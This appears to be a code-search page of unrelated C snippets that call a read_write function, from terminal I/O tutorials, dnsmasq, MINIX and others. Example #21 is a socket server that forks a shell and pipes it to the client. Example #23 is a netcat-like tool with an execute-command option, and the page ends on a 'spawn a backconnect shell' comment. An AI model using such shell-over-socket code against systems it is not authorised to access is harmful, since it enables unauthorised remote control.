Example #1
0
static int rw_bin(const char *basepath)
{
	int ret = read_write (basepath,Rrw_bin,50);
	if (ret == 0) read_write (basepath,Rrw_bin,5);
	if (ret == 0) read_write (basepath,Rrw_bin,2);
	return ret;
}
Example #2
0
/* LNEXT: The literal-next character. This character is recognized on input
 * in extended mode (IEXTEN) and causes any special meaning of the next
 * character to be ignored. This works for all special characters listed
 * in this section. We can use this character to type any character to a
 * program. The LNEXT character is discarded when processed, but the next
 * character entered is passed to the process. Not in POSIX.
 * 即输入该字符后,下一个输入字符将被视作文本字符,而失去它可能具有的特殊
 * 含义,例如先输入LNEXT字符后,再输入Ctrl-C,此时进程不会收到SIGINT,因为
 * Ctrl-C将被视作文本字符,终端不会在接收到该字符后,给进程发送信号.
 */
int main(void)
{
    struct termios term;

    if (tcgetattr(STDIN_FILENO, &term) < 0) {
        perror("tcgetattr STDIN_FILENO error");
        return 1;
    }

    /* 打印出来的c_cc[VLNEXT]的值是026,十进制值为22,根据man tcgetattr
     * 手册可知,026对应的字符是SYN,其键位是Ctrl-V.
     */
    printf("term.c_cc[VLNEXT]: %d, %#o\n", term.c_cc[VLNEXT],
            term.c_cc[VLNEXT]);
    read_write();

    term.c_cc[VLNEXT] = 'u';
    if (tcsetattr(STDIN_FILENO, TCSAFLUSH, &term) < 0) {
        perror("tcsetattr STDIN_FILENO error");
        return 1;
    }

    printf("########after set VLNEXT to 'u'\n");
    printf("term.c_cc[VLNEXT]: %d, %#o\n", term.c_cc[VLNEXT],
            term.c_cc[VLNEXT]);
    read_write();

    return 0;
}
Example #3
0
static int rw_text(const char *basepath)
{
	/* #Specification: utstspc / read write / text mode
		The read/write test is done is text conversion mode also.
		This prove the read ahead of fs/msdos/file.c is working
		even in conv=text mode.
	*/
	int ret = read_write (basepath,Rrw_text,50);
	if (ret == 0) read_write (basepath,Rrw_text,5);
	if (ret == 0) read_write (basepath,Rrw_text,2);
	return ret;
}
Example #4
0
File: relayer.c Project: yumm007/C
static void relay(struct relayer_job_st *job) {
    ssize_t ret;
    /*读左写右*/
    if (job->buf12.status != STA_TER) {
        ret = read_write(job->stat.fd1, job->stat.fd2, &job->buf12);
        job->stat.count12 += ret;
    }
    /*读右写左*/
    if (job->buf21.status != STA_TER) {
        ret = read_write(job->stat.fd2, job->stat.fd1, &job->buf21);
        job->stat.count21 += ret;
    }
}
Example #5
0
Ut::Ut(QWidget *parent) : QDialog(parent)
{
qDebug() << "start Ut";
	ui.setupUi(this);
	connect(ui.convert, SIGNAL(clicked()), this, SLOT(read_write()));
	connect(ui.file, SIGNAL(textChanged(QString)), this, SLOT(newfile()));
	connect(ui.cat, SIGNAL(textChanged(QString)), this, SLOT(newcat()));
	connect(ui.observatory, SIGNAL(currentIndexChanged(int)), this, SLOT(observatory(int)));
	connect(ui.dir, SIGNAL(textChanged(QString)), this, SLOT(newdir()));
	connect(ui.convert, SIGNAL(pressed()), this, SLOT(processing()));

	connect(ui.LT2UT, SIGNAL(clicked()), this, SLOT(inpfilename()));	
	connect(ui.ST2UT, SIGNAL(clicked()), this, SLOT(inpfilename()));
    connect(ui.JD2UT, SIGNAL(clicked()), this, SLOT(inpfilename()));

	red.setColor(QPalette::Base,QColor(Qt::red));
	white.setColor(QPalette::Base,QColor(Qt::white));

//	filename = "..\\data\\" + ui.file->text() + "maindata_lt.txt";

	int index = 0;
	read_cfg(index);
	newfile();

	read_cat();
	observatory(index);

	read_dst();
	inpfilename();
qDebug() << "stop Ut";
}
Example #6
0
/* return -1 for error, zero for done. */
static ssize_t get_block(char *packet, struct tftp_transfer *transfer)
{
  if (transfer->block == 0)
    {
      /* send OACK */
      char *p;
      struct oackmess {
	unsigned short op;
	char data[];
      } *mess = (struct oackmess *)packet;
      
      p = mess->data;
      mess->op = htons(OP_OACK);
      if (transfer->opt_blocksize)
	{
	  p += (sprintf(p, "blksize") + 1);
	  p += (sprintf(p, "%d", transfer->blocksize) + 1);
	}
      if (transfer->opt_transize)
	{
	  p += (sprintf(p,"tsize") + 1);
	  p += (sprintf(p, "%u", (unsigned int)transfer->file->size) + 1);
	}

      return p - packet;
    }
  else
    {
      /* send data packet */
      struct datamess {
	unsigned short op, block;
	unsigned char data[];
      } *mess = (struct datamess *)packet;
      
      off_t offset = transfer->blocksize * (transfer->block - 1);
      size_t size = transfer->file->size - offset; 
      
      if (offset > transfer->file->size)
	return 0; /* finished */
      
      if (size > transfer->blocksize)
	size = transfer->blocksize;
      
      lseek(transfer->file->fd, offset, SEEK_SET);
      
      mess->op = htons(OP_DATA);
      mess->block = htons((unsigned short)(transfer->block));
      
      if (!read_write(transfer->file->fd, mess->data, size, 1))
	return -1;
      else
	return size + 4;
    }
}
Example #7
0
/* 终端I/O特殊字符 ---- ERASE, ERASE2.
 * ERASE: The erase character (backspace). This character is recognized on
 * input in canonical mode (ICANON) and erases the previous character in
 * the line, not erasing beyond the beginning of the line. This character
 * is discarded when processed in canonical mode (i.e., it is no passed to
 * the process).
 * ERASE2: The alternate erase character (backspace). This character is
 * treated exactly like the erase character (ERASE).
 */
int main(void)
{
    struct termios term;

    if (tcgetattr(STDIN_FILENO, &term) < 0) {
        perror("tcgetattr STDIN_FILENO error");
        return 1;
    }

    /* 非常奇怪,这里打印出来的 term.c_cc[VERASE] 的值是127,对应的ascii
     * 字符DEL,该字符应该是键盘上的Delete键?因为backspace字符的值是8,
     * 键盘上的backspace键对应的应该是backspace字符.但是在读取标准输入时,
     * 按下Delete键并不能删除前面一个字符,也不能删除后面一个字符,它会显示
     * 出 "^[[3~" 这样一个字符串.但此时,按下backspace键可以删除行内前一个
     * 字符,感觉打印出来的c_cc[VERASE]字符的值和实际有效的值不一样.
     *
     * 2013-07-13 更新
     * pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap10.html
     * 根据上面的网址,知道DEL字符对应的键位是<control>-?, 也就是同时按下
     * Ctrl, Shift, 和 / 三个键来输入DEL字符,而不是键盘的Delete键.
     * 另外,从上面的网址可知,backspace字符对应的键位是<control>-H.
     */
    printf("term.c_cc[VERASE]: %d, %#o\n", term.c_cc[VERASE],
            term.c_cc[VERASE]);
    read_write();

    /* 将ERASE设置为'-'后,读取标准输入,并写标准输出.当在行内输入'-'字符
     * 时,会擦除前面一个字符,光标后退一列,这个删除只在行内有效,它不能
     * 删除上一行的内容,当光标到达行首时,将不再移动.
     */
    term.c_cc[VERASE] = '-';
    if (tcsetattr(STDIN_FILENO, TCSAFLUSH, &term) < 0) {
        perror("tcsetattr STDIN_FILENO error");
        return 1;
    }
    printf("term.c_cc[VERASE]: %d, %#o\n", term.c_cc[VERASE],
            term.c_cc[VERASE]);
    read_write();

    return 0;
}
Example #8
0
/* The kill character. (The name "kill" is overused; recall the kill()
 * function used to send a signal to a process. This character should be
 * called the line-erase character; it has nothing to do with signals.)
 * It is recognized on input in canonical mode (ICANON). It erases the
 * entire line and is discared when processed (i.e., it is not passed to
 * the process).
 * man tcgetattr手册中,对该字符的描述是This erases the input since the
 * last EOF or beginning-of-line.下面的例子测试了EOF的情况.
 */
int main(void)
{
    struct termios term;

    if (tcgetattr(STDIN_FILENO, &term) < 0) {
        perror("tcgetattr STDIN_FILENO error");
        return 1;
    }

    /* 打印出来的c_cc[VKILL]的值是025,十进制值则是21,根据man tcgetattr
     * 手册,可知025对应的ascii字符是NAK,其键位是Ctrl-U.也可通过下面的网址
     * pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap10.html
     * 来确认这一点.也就是说通过按下Ctrl-U来输入NAK字符.
     *
     * 假设我们输入了tian这四个字符,然后输入EOF,此时会立刻回显tian,且没有
     * 换行,屏幕上显示 "tiantian",光标就停留在字符'n'的后面,接着我们再输入
     * 若干个字符,然后输入VKILL字符,则刚才输入的若干个字符会被擦除,但是
     * 前面的"tiantian"并不会被擦除.这也是上面描述的,VKILL在擦除字符时,
     * 遇到EOF或者行首则终止.
     */
    printf("term.c_cc[VKILL]: %d, %#o\n", term.c_cc[VKILL],
            term.c_cc[VKILL]);
    read_write();

    term.c_cc[VKILL] = 'u';
    if (tcsetattr(STDIN_FILENO, TCSAFLUSH, &term) < 0) {
        perror("tcsetattr STDIN_FILENO error");
        return 1;
    }

    printf("########after set VKILL to 'u'\n");
    printf("term.c_cc[VKILL]: %d, %#o\n", term.c_cc[VKILL],
            term.c_cc[VKILL]);
    read_write();

    return 0;
}
Example #9
0
int main()
{
  int n;

  // the semantics is NOT interactive; we need to provide all the input upfront
  //@ assume <in> [5, 1, 2, 3, 4, 5, 5, 6, 7, 8, 9, 10] </in> <out> . </out>

  scanf("%d", &n);
  read_write(n);

  scanf("%d", &n);
  read_write_buffer(n);

  return 0;
}
Example #10
0
void read_write_stdin()
{
	char c_size[100];
	int i_size;

	printf("\n\n");
	//Input the amount of memory to be allocated in memory pool
	do
	{
		printf("Please Enter valid buffer size: ");
		scanf("%s",c_size);
		i_size = atoi(c_size);
	}while(i_size <= 0);

	//read from standard input and write to buffer of specified size
	read_write(stdin, i_size);
}
Example #11
0
int main(int argc, char *argv[]){
    char buff[255] = "";
    HANDLE file_handle;
    DWORD err_code;
    OVERLAPPED overlapped;
    HANDLE output_handle = get_output_handle();

    memset(&overlapped, 0, sizeof(overlapped));

    file_handle = CreateFile(argv[1],
                       GENERIC_READ,
                       FILE_SHARE_READ,
                       NULL,
                       OPEN_EXISTING,
                       FILE_ATTRIBUTE_NORMAL,
                       NULL);

    if(file_handle == INVALID_HANDLE_VALUE)
    {
        print_error_alert(output_handle, "Error on opening");
        exit(1);
    }

    if(!LockFile(file_handle, 0, 0, 10, 10))
    {
      print_warning_alert(output_handle, "File is locked! Waiting...");
      if (!LockFileEx(file_handle, LOCKFILE_EXCLUSIVE_LOCK, 0, 10000, 0, &overlapped))
      {
          err_code = GetLastError();
          print_error_alert(output_handle, "Error on locking");
          exit(1);
      }
    }
    print_success_alert(output_handle, "File successfuly locked");
    Sleep(500);
    printf("\nFile contains:\n");
    read_write(file_handle, output_handle, buff, sizeof(buff));

    Sleep(7000);

    UnlockFileEx(file_handle, 0, 10000, 0, &overlapped);
    print_success_alert(output_handle, "File successfuly unlocked");

    return 0;
}
Example #12
0
void read_write_file()
{
	char c_size[100];
	int i_size;
	char file_name[100];
	FILE* fp;

	printf("\n\n");
	//Input the amount of memory to be allocated in memory pool
	do
	{
		printf("Please Enter valid buffer size:  ");
		scanf("%s",c_size);
		i_size = atoi(c_size);
	}while(i_size <= 0);

	//Input file name from which data is to be read
	printf("Please Enter the file name: ");
	scanf("%s",file_name);

	//open file
	fp = fopen(file_name,"r");
	//if valid file,
	if(fp)
	{
		//read from file stream and write into buffer to specified size
		read_write(fp, i_size);
		if(fclose(fp) != 0)
		{
			printf("\nError: Failed to close file(%s)",file_name);
		}
	}
	//else display error message and move to main menu
	else
	{
		printf("\nError: Failed to Open File. Please make sure that file exists!!\n");
	}

}
Example #13
0
int main (int argc, char *argv[]) {
  int err;

  timer *t = timer_alloc();
  recorder *rw_rec = recorder_alloc("rw.csv");
  recorder *mmap_rec = recorder_alloc("mmap.csv");

  size_t len = 0;
  int page_size = getpagesize();

  for (len = 0x40; len <= MAX_SIZE; len *= 2) {
    read_write(t, rw_rec, IN, OUT, FILE_SIZE, len, 0);
  }

  for (len = page_size; len <= MAX_SIZE; len *= 2) {
    mmap_munmap(t, mmap_rec, IN, OUT, FILE_SIZE, len);
  }

  recorder_free(rw_rec);
  recorder_free(mmap_rec);

  return EXIT_SUCCESS;
}
Example #14
0
/*===========================================================================*
 *				actual_read_write_peek			     *
 *===========================================================================*/
int actual_read_write_peek(struct fproc *rfp, int rw_flag, int io_fd,
	vir_bytes io_buf, size_t io_nbytes)
{
/* Perform read(fd, buffer, nbytes) or write(fd, buffer, nbytes) call. */
  struct filp *f;
  tll_access_t locktype;
  int r;
  int ro = 1;

  if(rw_flag == WRITING) ro = 0;

  scratch(rfp).file.fd_nr = io_fd;
  scratch(rfp).io.io_buffer = io_buf;
  scratch(rfp).io.io_nbytes = io_nbytes;

  locktype = rw_flag == WRITING ? VNODE_WRITE : VNODE_READ;
  if ((f = get_filp2(rfp, scratch(rfp).file.fd_nr, locktype)) == NULL)
	return(err_code);

  assert(f->filp_count > 0);

  if (((f->filp_mode) & (ro ? R_BIT : W_BIT)) == 0) {
	unlock_filp(f);
	return(EBADF);
  }
  if (scratch(rfp).io.io_nbytes == 0) {
	unlock_filp(f);
	return(0);	/* so char special files need not check for 0*/
  }

  r = read_write(rfp, rw_flag, f, scratch(rfp).io.io_buffer,
	scratch(rfp).io.io_nbytes, who_e);

  unlock_filp(f);
  return(r);
}
Example #15
0
/* The daemon forks before calling this: it should deal with one connection,
   blocking as neccessary, and then return. Note, need to be a bit careful
   about resources for debug mode, when the fork is suppressed: that's
   done by the caller. */
unsigned char *tcp_request(int confd, time_t now,
			   struct in_addr local_addr, struct in_addr netmask)
{
  int size = 0;
  size_t m;
  unsigned short qtype, gotname;
  unsigned char c1, c2;
  /* Max TCP packet + slop */
  unsigned char *packet = whine_malloc(65536 + MAXDNAME + RRFIXEDSZ);
  HEADER *header;
  struct server *last_server;
  
  while (1)
    {
      if (!packet ||
	  !read_write(confd, &c1, 1, 1) || !read_write(confd, &c2, 1, 1) ||
	  !(size = c1 << 8 | c2) ||
	  !read_write(confd, packet, size, 1))
       	return packet; 
  
      if (size < (int)sizeof(HEADER))
	continue;
      
      header = (HEADER *)packet;
      
      if ((gotname = extract_request(header, (unsigned int)size, daemon->namebuff, &qtype)))
	{
	  union mysockaddr peer_addr;
	  socklen_t peer_len = sizeof(union mysockaddr);
	  
	  if (getpeername(confd, (struct sockaddr *)&peer_addr, &peer_len) != -1)
	    {
	      char types[20];

	      querystr(types, qtype);

	      if (peer_addr.sa.sa_family == AF_INET) 
		log_query(F_QUERY | F_IPV4 | F_FORWARD, daemon->namebuff, 
			  (struct all_addr *)&peer_addr.in.sin_addr, types);
#ifdef HAVE_IPV6
	      else
		log_query(F_QUERY | F_IPV6 | F_FORWARD, daemon->namebuff, 
			  (struct all_addr *)&peer_addr.in6.sin6_addr, types);
#endif
	    }
	}
      
      /* m > 0 if answered from cache */
      m = answer_request(header, ((char *) header) + 65536, (unsigned int)size, 
			 local_addr, netmask, now);

      /* Do this by steam now we're not in the select() loop */
      check_log_writer(NULL); 
      
      if (m == 0)
	{
	  unsigned short flags = 0;
	  struct all_addr *addrp = NULL;
	  int type = 0;
	  char *domain = NULL;
	  
	  if (gotname)
	    flags = search_servers(now, &addrp, gotname, daemon->namebuff, &type, &domain);
	  
	  if (type != 0  || (daemon->options & OPT_ORDER) || !daemon->last_server)
	    last_server = daemon->servers;
	  else
	    last_server = daemon->last_server;
      
	  if (!flags && last_server)
	    {
	      struct server *firstsendto = NULL;
	      unsigned int crc = questions_crc(header, (unsigned int)size, daemon->namebuff);

	      /* Loop round available servers until we succeed in connecting to one.
	         Note that this code subtley ensures that consecutive queries on this connection
	         which can go to the same server, do so. */
	      while (1) 
		{
		  if (!firstsendto)
		    firstsendto = last_server;
		  else
		    {
		      if (!(last_server = last_server->next))
			last_server = daemon->servers;
		      
		      if (last_server == firstsendto)
			break;
		    }
	      
		  /* server for wrong domain */
		  if (type != (last_server->flags & SERV_TYPE) ||
		      (type == SERV_HAS_DOMAIN && !hostname_isequal(domain, last_server->domain)))
		    continue;
		  
		  if ((last_server->tcpfd == -1) &&
		      (last_server->tcpfd = socket(last_server->addr.sa.sa_family, SOCK_STREAM, 0)) != -1 &&
		      (!local_bind(last_server->tcpfd, &last_server->source_addr,
				   last_server->interface, last_server->mark, 1) ||
		       connect(last_server->tcpfd, &last_server->addr.sa, sa_len(&last_server->addr)) == -1))
		    {
		      close(last_server->tcpfd);
		      last_server->tcpfd = -1;
		    }
		  
		  if (last_server->tcpfd == -1)	
		    continue;

		  c1 = size >> 8;
		  c2 = size;
		  
		  if (!read_write(last_server->tcpfd, &c1, 1, 0) ||
		      !read_write(last_server->tcpfd, &c2, 1, 0) ||
		      !read_write(last_server->tcpfd, packet, size, 0) ||
		      !read_write(last_server->tcpfd, &c1, 1, 1) ||
		      !read_write(last_server->tcpfd, &c2, 1, 1))
		    {
		      close(last_server->tcpfd);
		      last_server->tcpfd = -1;
		      continue;
		    } 
		  
		  m = (c1 << 8) | c2;
		  if (!read_write(last_server->tcpfd, packet, m, 1))
		    return packet;
		  
		  if (!gotname)
		    strcpy(daemon->namebuff, "query");
		  if (last_server->addr.sa.sa_family == AF_INET)
		    log_query(F_SERVER | F_IPV4 | F_FORWARD, daemon->namebuff, 
			      (struct all_addr *)&last_server->addr.in.sin_addr, NULL); 
#ifdef HAVE_IPV6
		  else
		    log_query(F_SERVER | F_IPV6 | F_FORWARD, daemon->namebuff, 
			      (struct all_addr *)&last_server->addr.in6.sin6_addr, NULL);
#endif 
		  
		  /* There's no point in updating the cache, since this process will exit and
		     lose the information after a few queries. We make this call for the alias and 
		     bogus-nxdomain side-effects. */
		  /* If the crc of the question section doesn't match the crc we sent, then
		     someone might be attempting to insert bogus values into the cache by 
		     sending replies containing questions and bogus answers. */
		  if (crc == questions_crc(header, (unsigned int)m, daemon->namebuff))
		    m = process_reply(header, now, last_server, (unsigned int)m);
		  
		  break;
		}
	    }
	  
	  /* In case of local answer or no connections made. */
	  if (m == 0)
	    m = setup_reply(header, (unsigned int)size, addrp, flags, daemon->local_ttl);
	}

      check_log_writer(NULL);
      
      c1 = m>>8;
      c2 = m;
      if (!read_write(confd, &c1, 1, 0) ||
	  !read_write(confd, &c2, 1, 0) || 
	  !read_write(confd, packet, m, 0))
	return packet;
    }
Example #16
0
int main (int argc, char ** argv) 
{
    int         err;
    int         steps = 0, curr_step;
    int         retval = 0;

    MPI_Init (&argc, &argv);
    comm = MPI_COMM_WORLD;
    MPI_Comm_rank (comm, &rank);
    MPI_Comm_size (comm, &numproc);

    if (processArgs(argc, argv)) {
        return 1;
    }
    
    print0("Input stream            = %s\n", infilename);
    print0("Output stream           = %s\n", outfilename);
    print0("Read method             = %s (id=%d)\n", rmethodname, read_method);
    print0("Read method parameters  = \"%s\"\n", rmethodparams);
    print0("Write method            = %s\n", wmethodname);
    print0("Write method parameters = \"%s\"\n", wmethodparams);
    

    err = adios_read_init_method(read_method, comm, 
                                 "max_chunk_size=100; "
                                 "app_id =32767; \n"
                                 "verbose= 3;"
                                 "poll_interval  =  100;"
                                );

    if (!err) {
        print0 ("%s\n", adios_errmsg());
    }

    adios_init_noxml(comm);

    print0 ("Waiting to open stream %s...\n", infilename);
    f = adios_read_open_stream (infilename, read_method, comm, 
                                             ADIOS_LOCKMODE_ALL, timeout_sec);
    if (adios_errno == err_file_not_found) 
    {
        print ("rank %d: Stream not found after waiting %d seconds: %s\n", 
               rank, timeout_sec, adios_errmsg());
        retval = adios_errno;
    } 
    else if (adios_errno == err_end_of_stream) 
    {
        print ("rank %d: Stream terminated before open. %s\n", rank, adios_errmsg());
        retval = adios_errno;
    } 
    else if (f == NULL) {
        print ("rank %d: Error at opening stream: %s\n", rank, adios_errmsg());
        retval = adios_errno;
    } 
    else 
    {
        // process steps here... 
        if (f->current_step != 0) {
            print ("rank %d: WARNING: First %d steps were missed by open.\n", 
                   rank, f->current_step);
        }

        while (1)
        {
            steps++; // start counting from 1

            print0 ("File info:\n");
            print0 ("  current step:   %d\n", f->current_step);
            print0 ("  last step:      %d\n", f->last_step);
            print0 ("  # of variables: %d:\n", f->nvars);

            retval = process_metadata(steps);
            if (retval) break;

            retval = read_write(steps);
            if (retval) break;

            // advance to 1) next available step with 2) blocking wait 
            curr_step = f->current_step; // save for final bye print
            adios_advance_step (f, 0, timeout_sec);

            if (adios_errno == err_end_of_stream) 
            {
                break; // quit while loop
            }
            else if (adios_errno == err_step_notready) 
            {
                print ("rank %d: No new step arrived within the timeout. Quit. %s\n", 
                        rank, adios_errmsg());
                break; // quit while loop
            } 
            else if (f->current_step != curr_step+1) 
            {
                // we missed some steps
                print ("rank %d: WARNING: steps %d..%d were missed when advancing.\n", 
                        rank, curr_step+1, f->current_step-1);
            }

        }

        adios_read_close (f);
    } 
    print0 ("Bye after processing %d steps\n", steps);

    adios_read_finalize_method (read_method);
    adios_finalize (rank);
    MPI_Finalize ();

    return retval;
}
Example #17
0
/* return -1 for error, zero for done. */
static ssize_t get_block(char *packet, struct tftp_transfer *transfer)
{
  memset(packet, 0, daemon->packet_buff_sz);
  
  if (transfer->block == 0)
    {
      /* send OACK */
      char *p;
      struct oackmess {
	unsigned short op;
	char data[];
      } *mess = (struct oackmess *)packet;
      
      p = mess->data;
      mess->op = htons(OP_OACK);
      if (transfer->opt_blocksize)
	{
	  p += (sprintf(p, "blksize") + 1);
	  p += (sprintf(p, "%u", transfer->blocksize) + 1);
	}
      if (transfer->opt_transize)
	{
	  p += (sprintf(p,"tsize") + 1);
	  p += (sprintf(p, "%u", (unsigned int)transfer->file->size) + 1);
	}

      return p - packet;
    }
  else
    {
      /* send data packet */
      struct datamess {
	unsigned short op, block;
	unsigned char data[];
      } *mess = (struct datamess *)packet;
      
      size_t size = transfer->file->size - transfer->offset; 
      
      if (transfer->offset > transfer->file->size)
	return 0; /* finished */
      
      if (size > transfer->blocksize)
	size = transfer->blocksize;
      
      mess->op = htons(OP_DATA);
      mess->block = htons((unsigned short)(transfer->block));
      
      if (lseek(transfer->file->fd, transfer->offset, SEEK_SET) == (off_t)-1 ||
	  !read_write(transfer->file->fd, mess->data, size, 1))
	return -1;
      
      transfer->expansion = 0;
      
      /* Map '\n' to CR-LF in netascii mode */
      if (transfer->netascii)
	{
	  size_t i;
	  int newcarrylf;

	  for (i = 0, newcarrylf = 0; i < size; i++)
	    if (mess->data[i] == '\n' && ( i != 0 || !transfer->carrylf))
	      {
		transfer->expansion++;

		if (size != transfer->blocksize)
		  size++; /* room in this block */
		else  if (i == size - 1)
		  newcarrylf = 1; /* don't expand LF again if it moves to the next block */
		  
		/* make space and insert CR */
		memmove(&mess->data[i+1], &mess->data[i], size - (i + 1));
		mess->data[i] = '\r';
		
		i++;
	      }
	  transfer->carrylf = newcarrylf;
	  
	}

      return size + 4;
    }
}
Example #18
0
/*===========================================================================*
 *				do_write				     *
 *===========================================================================*/
PUBLIC int do_write()
{
/* Perform the write(fd, buffer, nbytes) system call. */
  return(read_write(WRITING));
}
Example #19
0
/*===========================================================================*
 *				write_buf       			     *
 *===========================================================================*/
static void write_buf(struct filp *f, char *buf, size_t size)
{
  read_write(fp, WRITING, f, (vir_bytes)buf, size, VFS_PROC_NR);
}
Example #20
0
//Called by the thread to output the shell data to the socket to the client
void* transfer_shell(void* newsocket_fd)
{
	close(p1_fd[0]);
	close(p2_fd[1]);
	read_write(p2_fd[0],1, 0);
}
Example #21
0
int main(int argc, char **argv)
{
	int opt = 0, port_num, client_len;
	struct sockaddr_in server_addr, client_addr;
	static struct option long_opts[] =
	{
		{"port", required_argument, 0, 'p'},
		{"encrypt", no_argument, 0, 'e'}
	};

	while((opt = getopt_long(argc, argv, "p:e", long_opts, NULL)) != -1)
	{
		switch(opt)
		{
			case 'p':
				//Grab port number
				port_num = atoi(optarg);
				break;
			case 'e':
				//Turn on Encryption
				crypt_flag = 1;
				//Get the key
				char* key = grab_key("my.key");
				//Initialize encryption and decryption
				encryption_decryption_init(key, key_len);
				break;
			default:
				//Usage message
				fprintf(stderr, "Usage [e] port_number");
				break;
		}
	}
	//Set up socket connection
	socket_fd = socket(AF_INET, SOCK_STREAM, 0);
	if(socket_fd < 0) { perror("Error opening socket"); exit(1); }
	memset((char*) &server_addr, 0, sizeof(server_addr));
	server_addr.sin_family = AF_INET;
	server_addr.sin_port = htons(port_num);
	server_addr.sin_addr.s_addr = INADDR_ANY;
	if(bind(socket_fd, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0)
	{
		perror("Error binding socket");
		exit(1);
	}
	//Listen for data over the socket
	listen(socket_fd, 5);
	client_len = sizeof(client_addr);
	//Block while accepting data input as a stream
	newsocket_fd = accept(socket_fd, (struct sockaddr *) &client_addr, &client_len);
	if(newsocket_fd < 0) { perror("Error accepting the socket"); exit(1); }
	create_pipe(p1_fd);
	create_pipe(p2_fd);
	child_id = fork();
	if(child_id < 0) { perror("Error forking"); exit(1); }
	//Run the child process that is the shell
	else if(child_id == 0)	{ exec_shell(); }
	else
	{
		//Create the thread to send shell's output to the client
		pthread_create(&thread_id, NULL, transfer_shell, &newsocket_fd);
	}
	//Redirect stdin/stdout/stderr to the socket
	dup2(newsocket_fd, 0);
	dup2(newsocket_fd, 1);
	dup2(newsocket_fd, 2);
	close(newsocket_fd);
	read_write(0, p1_fd[1], 1);
	encryption_decryption_deinit();
	exit(0);
}
Example #22
0
int main(void) {
    read_write("F:\\Projects\\demo\\hello-cpp\\main.cpp","F:\\Projects\\demo\\hello-cpp\\main_out.cpp");
    return EXIT_SUCCESS;
}
Example #23
0
main(int argc, char *argv[])
{
unsigned long int contador;
char *charptr;
int client;
int first[2], second[2];
char hname[200];
struct hostent *he;
int aux;
fd_set infd, tinfd;
struct timeval tv, *ptrtv;

// SACAR TODOS LOS PARAMETROS
init_params(argc, argv);


///////////////////////// SACAR NOMBRE HOST LOCAL  /////////////////////////////
// SI ESTAMOS EN MODO CLIENTE Y (1 SOLO PARAMETRO O -v)
gethostname(hname, 200);
IFV(printf("Local host: %s\n\n", hname));

if(!params.S)
{ // SI ESTAMOS EN MODO CLIENTE SACAR ESTADISTICAS DEL HOST REMOTO
  /*in_addr i;
  he=gethostbyaddres(&i, SIZEOF(i), AF_INET);*/
  he=gethostbyname(params.host);
  if(!he) perror_exit("Host not found");
  IFV(print_host_stats(he));
}

////////// A PARTIR DE AQUI SOLO SE CONECTA SI SE PASO PUERTO OMO ULTIMO PARAMETRO
if(NPARAMS==1) return 0; // SI SOLO HUBO UN PARAMETRO, SOLO QUERIAMOS COMPROBAR EL HOST, ADIOS

// SI LLEGAMOS AQUI, EL Nº DE PUERTO ES EL ULTIMO PARAMETRO

//PRINTV(NPARAMS);

///////////////////////////////////////////////////////////////////////////////////
// AQUI SE DECIDE EL COMPORTAMIENTO PRINCIPAL DEL PROGRAMA CLIENTE/SERVIDOR
if(!params.S) // CLIENTE
{
  charptr=he_addr(he, 0);  // LO INTENTAMOS CON LA 1A DIRECCION
  IFV( printf("\nTrying to connect to %s on port %d... ", charptr, params.port) );
  client=socket_connect(charptr, params.port);
  if(client==-1) perror_exit("Error connecting to server");
  IFV(printf("connected.\n"));
  // CONFIGURACION DE ORDEN DE LECTURA DE CANALES EN MODO CLIENTE
  first[0]=0; first[1]=client;
  second[0]=client; second[1]=1;
}
else   //SERVIDOR //
{
  IFV(printf("Listening on local port %d... ", params.port));
  client=quick_accept(params.port);
  if(client==-1) perror_exit("Cannot bind to specified port");
  IFV(printf("connected.\n"));

  close(aux);
  IFV(printf("Reverse host lookup\n"));
  IFV(print_host_stats(host_lookup(client)));
  
  if(params.e) execute_command(client, argc, argv);  // ESTA ES LA MEJOR OPCION...
  // CONFIGURACION DE ORDEN DE LECTURA DE CANALES EN MODO SERVIDOR
  first[0]=client; first[1]=1; // PRIMERO LEER DE SOCKET Y ESCRIBIR A STDOUT
  second[0]=0; second[1]=client;  // LUEGO "RESPONDER", LEYENDO DE STDIN Y ESCRIBIENDO A SOCKET

  // DAR TIEMPO AL CLIENTE A QUE NOS MANDE ALGO
  uwait(100); // ESPERAR 100 milisegundos
}

// INICIALIZAR LA ESTRUCTURA PARA select()
if(params.t==-1) ptrtv=NULL; // LE PASAREMOS NULL A select
else
{
  BZERO(&tv);
  tv.tv_sec=params.t;
  ptrtv=&tv;
}

// INICIALIZAR VBLES DE CONTROL DEL BUCLE PRINCIPAL
FD_ZERO(&infd);
FD_ZERO(&tinfd);
FD_SET(first[0], &infd); // ANYADIR fd AL CONJUNTO DE DESCRIPTORES
FD_SET(second[0], &infd);

// DESCARTAR CANALES QUE NO NOS INTERESEN
// LEER SOLO DE SOCKET
if(params.r)
  if(params.S) FD_CLR(second[0], &infd); 
  else FD_CLR(first[0], &infd);
// SOLO ESCRIBIR EN SOCKET
if(params.w) 
  if(params.S) FD_CLR(first[0], &infd);  
  else FD_CLR(second[0], &infd);         


////////////////////////////////////////////////////////////////////////////////
////////////// BUCLE PRINCIPAL DE LECTURA/ESCRITURA ////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// SERVIDOR: SOCKET->STDOUT;
//           STDIN->SOCKET;
//
// CLIENTE:  STDIN->SOCKET;
//           SOCKET->STDOUT;
//
// USO MUY IMPORTANTE DE tinfd E infd PARA EL CONTROL DE FLUJO DE DATOS
////////////////////////////////////////////////////////////////////////////////
tinfd=infd;
while(FD_ISSET(first[0], &infd) || FD_ISSET(second[0], &infd))  // MIENTRAS HAY CONEXION EN ALGUN SENTIDO
{
  // PRIMERO UN SELECT DE TANTEO
  
  if(select(MAX(first[0], second[0])+1, &tinfd, NULL, NULL, ptrtv)==-1)
    perror_exit("Fatal error");
  
  // SI NO OCURRIO NADA DE INTERES, SALIR A LO BURRO
  if(!FD_ISSET(first[0], &tinfd) && !FD_ISSET(second[0], &tinfd))
  {
    IFV(printf_exit("\nTimeout!!!"));
    exit(0);
  }
//if(FD_ISSET(first[0], &tinfd)) printf("\nhay algo en first[0]=%d\n", first[0]);
//if(FD_ISSET(second[0], &tinfd)) printf("\nhay algo en second[0]=%d\n", second[0]);

  read_write(first, &tinfd, &infd);  // MODIFICAN infd PARA SABER CUANDO LLEGAMOS A EOF
  fflush(NULL);
  read_write(second, &tinfd, &infd); // SACANDO EL DESCRIPTOR CORRESPONDIENTE DE ENTRADA
  fflush(NULL);
  tinfd=infd;
  
}// DEL WHILE

IFV(printf("\nnk finished gracefully.\n"));
close(client);
return 0;
}
Example #24
0
/*
 * spawn a backconnect shell
 */
